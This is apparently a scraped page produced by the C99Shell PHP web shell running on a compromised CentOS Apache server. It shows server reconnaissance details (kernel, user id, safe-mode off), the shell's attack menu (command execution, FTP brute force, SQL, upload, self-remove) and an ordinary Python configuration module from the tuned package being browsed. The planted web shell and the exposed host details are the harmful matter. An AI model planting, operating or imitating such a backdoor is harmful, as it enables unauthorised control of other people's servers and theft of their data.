!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/lib/python2.7/site-packages/tuned/utils/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     global_config.py (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import tuned.logs
from configobj import ConfigObj, ConfigObjError
from validate import Validator
from tuned.exceptions import TunedException
import tuned.consts as consts
from tuned.utils.commands import commands

__all__ = ["GlobalConfig"]

log = tuned.logs.get()

class GlobalConfig():

    global_config_spec = ["dynamic_tuning = boolean(default=%s)" % consts.CFG_DEF_DYNAMIC_TUNING,
        "sleep_interval = integer(default=%s)" % consts.CFG_DEF_SLEEP_INTERVAL,
        "update_interval = integer(default=%s)" % consts.CFG_DEF_UPDATE_INTERVAL,
        "recommend_command = boolean(default=%s)" % consts.CFG_DEF_RECOMMEND_COMMAND]

    def __init__(self,config_file = consts.GLOBAL_CONFIG_FILE):
        self._cfg = {}
        self.load_config(file_name=config_file)
        self._cmd = commands()

    def load_config(self, file_name = consts.GLOBAL_CONFIG_FILE):
        """
        Loads global configuration file.
        """
        log.debug("reading and parsing global configuration file '%s'" % file_name)
        try:
            self._cfg = ConfigObj(file_name, configspec = self.global_config_spec, raise_errors = True, \
                file_error = True, list_values = False, interpolation = False)
        except IOError as e:
            raise TunedException("Global tuned configuration file '%s' not found." % file_name)
        except ConfigObjError as e:
            raise TunedException("Error parsing global tuned configuration file '%s'." % file_name)
        vdt = Validator()
        if (not self._cfg.validate(vdt, copy=True)):
            raise TunedException("Global tuned configuration file '%s' is not valid." % file_name)

    def get(self, key, default = None):
        return self._cfg.get(key, default)

    def get_bool(self, key, default = None):
        if self._cmd.get_bool(self.get(key, default)) == "1":
            return True
        return False

    def set(self, key, value):
        self._cfg[key] = value

    def get_size(self, key, default = None):
        val = self.get(key)
        if val is None:
            return default
        ret = self._cmd.get_size(val)
        if ret is None:
            log.error("Error parsing value '%s', using '%s'." %(val, default))
            return default
        else:
            return ret

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0041 ]--